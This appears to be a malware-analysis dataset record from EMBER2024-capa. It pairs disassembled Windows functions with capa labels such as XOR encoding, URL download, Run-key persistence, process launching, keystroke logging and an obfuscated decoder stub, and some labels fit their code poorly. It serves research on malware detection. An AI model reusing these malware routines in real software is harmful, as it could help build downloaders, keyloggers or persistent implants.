joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403040
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x417008], 0x8088405
inc edx
mov dword [ebx + 0x417008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40798c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x407a1c
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x407a1c
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x4079cf
test edx, 3
jne 0x4079be
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x4079c9
jmp 0x4079cf
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x4079cf
cmp dword [ecx - 8], 1
je 0x4079d9
mov edx, ebx
or edx, 3
call fcn.0040529c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4079eb
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404bd0

Function at 0x407a28
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x407ab8
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x407ab8
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x407a6b
test edx, 3
jne 0x407a5a
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x407a65
jmp 0x407a6b
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x407a6b
cmp dword [ecx - 8], 1
je 0x407a75
mov edx, ebx
or edx, 3
call fcn.0040529c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x407a87
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404bd0

Function at 0x40807c
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
or eax, 0xffffffff
mov esi, ebx
and esi, 3
cmp esi, 2
ja 0x4080cf
mov edx, ebx
and edx, 0xf0
cmp edx, 0x40
ja 0x4080cf
push 0
push 0x80
push 3
push 0
mov eax, ebx
and eax, 0xf0
shr eax, 4
mov eax, dword [eax*4 + 0x417838]
push eax
mov eax, dword [esi*4 + 0x41782c]
push eax
mov eax, edi
call fcn.00405070
push eax
call sub.KERNEL32.DLL_GetFileSize
pop edi
pop esi
pop ebx
ret

Function at 0x40aaec
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, edx
push 0
push 0x100
lea edx, [esp + 8]
push edx
push 0
push eax
push 0
push 0x3200
call sub.KERNEL32.DLL_WriteFile
jmp 0x40ab13
dec eax
test eax, eax
jle 0x40ab26
movzx edx, byte [esp + eax - 1]
sub dl, 0x21
jb 0x40ab12
sub dl, 0xd
je 0x40ab12
mov edx, esp
mov ecx, ebx
xchg ecx, eax
call fcn.00404cc0
add esp, 0x100
pop ebx
ret
Function at 0x40adc4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push esi
xor eax, eax
push ebp
push 0x40ae5b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
call sub.KERNEL32.DLL_InterlockedIncrement
mov ecx, 0x40ae70
mov edx, 0x100b
call fcn.0040ab38
mov eax, dword [ebp - 4]
mov edx, 1
call fcn.00407e48
mov esi, eax
mov eax, esi
add eax, 0xfffffffd
sub eax, 3
jae 0x40ae45
push 4
push esi
call sub.KERNEL32.DLL_InterlockedIncrement
push eax
push 0x40ad10
call sub.KERNEL32.DLL_ReadFile
mov edx, 7
mov eax, 0x41a8ec
mov dword [eax], 0xffffffff
add eax, 4
dec edx
jne 0x40ae26
push 3
push esi
call sub.KERNEL32.DLL_InterlockedIncrement
push eax
push 0x40ad4c
call sub.KERNEL32.DLL_ReadFile
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ae62
lea eax, [ebp - 4]
call fcn.00404bd0
ret

Function at 0x40e5bc
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce8
push ebx
push esi
push edi
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
test byte [eax + 1], 0x20
jne 0x40e5e4
mov eax, 0x80070057
call fcn.0040e49c
mov eax, dword [ebp - 0x304]
movzx eax, word [eax]
mov edx, eax
and dx, 0xfff
cmp dx, 0xc
jne 0x40e720
mov edx, dword [ebp - 0x304]
test ah, 0x40
je 0x40e61c
mov eax, dword [ebp - 0x304]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x308], eax
jmp 0x40e62b
mov eax, dword [ebp - 0x304]
mov eax, dword [eax + 8]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
movzx eax, word [eax]
mov dword [ebp - 0x310], eax
mov ebx, dword [ebp - 0x310]
dec ebx
test ebx, ebx
jl 0x40e6b0
inc ebx
xor edi, edi
lea esi, [ebp - 0x300]
mov eax, esi
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
add eax, 4
push eax
lea eax, [edi + 1]
push eax
mov eax, dword [ebp - 0x308]
push eax
call sub.KERNEL32.DLL_EnumCalendarInfoA
call fcn.0040e49c
lea eax, [ebp - 0x30c]
push eax
lea eax, [edi + 1]
push eax
mov eax, dword [ebp - 0x308]
push eax
call sub.KERNEL32.DLL_FileTimeToDosDateTime
call fcn.0040e49c
mov eax, dword [ebp - 0x318]
mov edx, dword [ebp - 0x30c]
sub edx, dword [eax + 4]
inc edx
mov eax, dword [ebp - 0x318]
mov dword [eax], edx
inc edi
add esi, 8
dec ebx
jne 0x40e64e
mov ebx, dword [ebp - 0x310]
dec ebx
test ebx, ebx
jl 0x40e6d5
inc ebx
lea eax, [ebp - 0x2fc]
lea edx, [ebp - 0x100]
mov ecx, dword [eax]
mov dword [edx], ecx
add edx, 4
add eax, 8
dec ebx
jne 0x40e6c8
push ebp
mov ebx, dword [ebp - 0x310]
dec ebx
mov eax, ebx
call fcn.0040e530
pop ecx
test al, al
je 0x40e713
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x308]
push eax
call sub.KERNEL32.DLL_FileTimeToLocalFileTime
call fcn.0040e49c
mov eax, dword [ebp - 0x314]
call fcn.0040e7b4
push ebp
mov eax, ebx
call fcn.0040e560
pop ecx
test al, al
jne 0x40e6d5
mov eax, dword [ebp - 0x304]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
call fcn.0040e49c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ec58
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ed17
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40ecf5
push dword fs:[eax]
mov dword fs:[eax], esp
push 8
push 0
push 0x400
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x417c2c]
mov eax, dword [eax]
call eax
movzx edx, word [ebx]
mov cx, 0x100
call fcn.0040e4a8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.0040546c
mov eax, dword [ebp - 0x18]
mov ecx, 0x7fffffff
mov edx, 1
call fcn.00405558
mov edx, dword [ebp - 0x14]
mov eax, esi
call fcn.00404e58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ecfc
lea eax, [ebp - 0x10]
call fcn.0040e7b4
ret

Function at 0x40ed24
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40ed7a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, ebx
lea eax, [ebp - 0x10]
call fcn.0040eadc
lea eax, [ebp - 0x10]
call dword [0x41b294]
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.0040ee10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ed81
lea eax, [ebp - 0x10]
call fcn.0040e7b4
ret

Function at 0x40ed88
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40ed9f
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0xc]
movzx eax, word [ebx]
call fcn.00410064
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x40ee04
lea eax, [ebp - 0x1c]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40edfd
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x100
mov ecx, ebx
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
call fcn.00404c24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ee04
lea eax, [ebp - 0x1c]
call fcn.0040e7b4
ret
movzx eax, byte [ebp - 5]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f34c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40f3f6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40f3d9
push dword fs:[eax]
mov dword fs:[eax], esp
push 8
push 0
push 0x400
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x417c2c]
mov eax, dword [eax]
call eax
movzx edx, word [ebx]
mov cx, 8
call fcn.0040e4a8
push esi
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.0040546c
mov eax, dword [ebp - 0x14]
mov ecx, 0x7fffffff
mov edx, 1
call fcn.00405558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f3e0
lea eax, [ebp - 0x10]
call fcn.0040e7b4
ret

Function at 0x40f404
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40f45a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, ebx
lea eax, [ebp - 0x10]
call fcn.0040eadc
lea eax, [ebp - 0x10]
call dword [0x41b294]
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.0040f530
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f461
lea eax, [ebp - 0x10]
call fcn.0040e7b4
ret

Function at 0x40f468
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40f484
xor edx, edx
mov dword [eax], edx
xor eax, eax
push ebp
push 0x40f520
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
movzx eax, word [ebx]
call fcn.00410064
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x40f50a
lea eax, [ebp - 0x1c]
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40f503
push dword fs:[eax]
mov dword fs:[eax], esp
push 8
mov ecx, ebx
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 0x14]
call fcn.0040546c
mov eax, dword [ebp - 0x20]
mov ecx, 0x7fffffff
mov edx, 1
call fcn.00405558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f50a
lea eax, [ebp - 0x1c]
call fcn.0040e7b4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f527
lea eax, [ebp - 0x20]
call fcn.00405358
ret
Function at 0x412e20
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
test dl, dl
je 0x412e43
add esp, 0xfffffff0
call fcn.004040c8
mov esi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
mov edi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x412f68
push dword fs:[eax]
mov dword fs:[eax], esp
cmp di, 0xffff
jne 0x412ee0
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, esi
call fcn.00405070
push eax
call sub.KERNEL32.DLL_GetFileSize
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.00412d18
cmp dword [ebx + 4], 0
jge 0x412f43
lea edx, [ebp - 0x18]
mov eax, esi
call fcn.004082cc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
call sub.KERNEL32.DLL_GetStartupInfoA
lea edx, [ebp - 0x1c]
call fcn.0040aaec
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [0x417c8c]
mov dl, 1
mov eax, dword [0x410338]
call fcn.0040b3f8
call fcn.00404618
jmp 0x412f43
movzx edx, di
mov eax, esi
call fcn.0040807c
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.00412d18
cmp dword [ebx + 4], 0
jge 0x412f43
lea edx, [ebp - 0x20]
mov eax, esi
call fcn.004082cc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
call sub.KERNEL32.DLL_GetStartupInfoA
lea edx, [ebp - 0x24]
call fcn.0040aaec
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [0x417aa4]
mov dl, 1
mov eax, dword [0x410394]
call fcn.0040b3f8
call fcn.00404618
lea eax, [ebx + 8]
mov edx, esi
call fcn.00404c24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412f6f
lea eax, [ebp - 0x24]
mov edx, 4
call fcn.00404bf4
ret
Function at 0x414778
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405060
mov eax, dword [ebp - 8]
call fcn.00405060
xor eax, eax
push ebp
push 0x414901
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4148cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00414714
mov ebx, eax
test bl, bl
je 0x4147ec
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
mov edx, 0x41491c
mov eax, dword [ebp - 4]
call fcn.004140c8
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.00404c68
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00405070
push eax
mov eax, dword [ebp - 4]
call fcn.00405070
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x4148c1
test esi, esi
je 0x414827
mov eax, dword [ebp - 8]
call fcn.0041454c
cmp esi, eax
setl bl
jmp 0x4148c3
cmp byte [ebp + 8], 0
je 0x4148bd
test bl, bl
je 0x4148b1
mov dl, 1
mov eax, dword [0x410874]
call fcn.00403e50
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4148aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, 0x414928
mov edx, 0x414938
call fcn.00414008
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4148b1
mov eax, dword [ebp - 0xc]
call fcn.00403e80
ret
mov eax, dword [ebp - 8]
call fcn.004145e0
mov ebx, eax
jmp 0x4148c3
mov bl, 1
jmp 0x4148c3
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4148d9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414908
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00404bf4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404bf4
ret
Function at 0x414d5c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x414edc
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, esi
call fcn.004082cc
mov dx, 0x10
mov eax, dword [ebp - 4]
call fcn.00414d40
test al, al
je 0x414dba
push dword [ebp - 4]
push 0x414ef4
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.00408294
push dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404f30
mov eax, ebx
call fcn.0040817c
mov eax, dword [0x417a98]
call fcn.00402c40
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x414eb7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x20
mov eax, ebx
call fcn.0040807c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
xor eax, eax
push ebp
push 0x414e94
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.00405070
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
xor eax, eax
push ebp
push 0x414e76
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebp - 8]
mov edx, esi
mov ecx, dword [0x417a98]
mov eax, dword [ebp - 0xc]
call fcn.004080d4
mov ebx, eax
test ebx, ebx
jle 0x414e57
mov edx, esi
mov ecx, ebx
mov eax, dword [ebp - 0x10]
call fcn.00408100
cmp ebx, dword [0x417a98]
jge 0x414e32
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414e7d
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_SetEvent
ret

Function at 0x415074
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405060
mov eax, dword [ebp - 8]
call fcn.00405060
xor eax, eax
push ebp
push 0x415107
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x413ae0]
call fcn.00413bf8
mov ecx, 0x41511c
mov dl, 1
mov eax, dword [0x413b48]
call fcn.00413f14
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00413cd4
xor ecx, ecx
mov edx, 0x415134
mov eax, ebx
call fcn.00413d38
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00413e7c
mov eax, ebx
call fcn.00403e80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41510e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404bf4
ret

Function at 0x4154bc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x415524
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
lea eax, [ebp - 4]
call fcn.00414540
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0041448c
mov edx, dword [ebp - 8]
pop eax
call fcn.00404e78
mov eax, dword [ebp - 4]
call fcn.00405070
push eax
push 0x415530
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41552b
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404bf4
ret
Function at 0x404dce
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], 1
jne 0x404df9
lea eax, [ebp + 0xc]
push eax
push 0x1388
push 2
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
je 0x404e12
push 1
jmp 0x404dfa
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop esi
pop ebp
ret 8

Function at 0x406304
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x4163b0
call fcn.00409200
call fcn.0040788b
movzx esi, ax
push 2
call fcn.00409da0
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4061bb
xor ebx, ebx
jmp 0x4061ee
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4061b7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4061b7
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4061ee
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.0040959e
test eax, eax
jne 0x406202
push 0x1c
call fcn.004062dd
pop ecx
call fcn.004089a6
test eax, eax
jne 0x406213
push 0x10
call fcn.004062dd
pop ecx
call fcn.00409e89
and dword [ebp - 4], 0
call fcn.004095b3
test eax, eax
jns 0x40622d
push 0x1b
call fcn.004062dd
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x4e7348], eax
call fcn.00409ec9
mov dword [0x419464], eax
call fcn.00409867
test eax, eax
jns 0x406253
push 8
call fcn.00408e39
pop ecx
call fcn.00409aa4
test eax, eax
jns 0x406264
push 9
call fcn.00408e39
pop ecx
push 1
call fcn.00408e73
pop ecx
test eax, eax
je 0x406277
push eax
call fcn.00408e39
pop ecx
call fcn.00409f26
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x406299
push esi
call fcn.004090dc
call fcn.00408e64
jmp 0x4062ce
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00409245
ret
call fcn.0062e000
jmp 0x40618d
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100062fa
pop dword [ebp - 0x10]
mov eax, 0x5788f578
sub eax, 0x4788927e
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3d31c
push 0
mov eax, 0x738ac7df
add eax, 0x9c767885
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x509fbc7f
sub ecx, 0x509f63cf
mov ebx, eax
mov esi, 0xbf824bf8
add esi, 0x507f3a08
add esi, dword [ebp - 0x10]
mov edi, 0x2ff59a9c
add edi, 0xf6e80dfc
xor dword [ebp - 0xc], ebx
mov edx, dword [esi]
add dword [ebp - 4], 0x25e94e9a
add edx, edi
add dword [ebp - 8], edi
mov dword [ebx], edx
add dword [ebp - 8], 0x9e2f282c
add ebx, 0xc11480a0
sub ebx, 0xc114809c
add esi, 0x988e95f4
sub esi, 0x988e95f0
loop 0x10006359
add eax, 0x15593
xor ebx, ebx
add ebx, eax
add eax, 0x15a98ca0
sub eax, 0x15a98c9b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret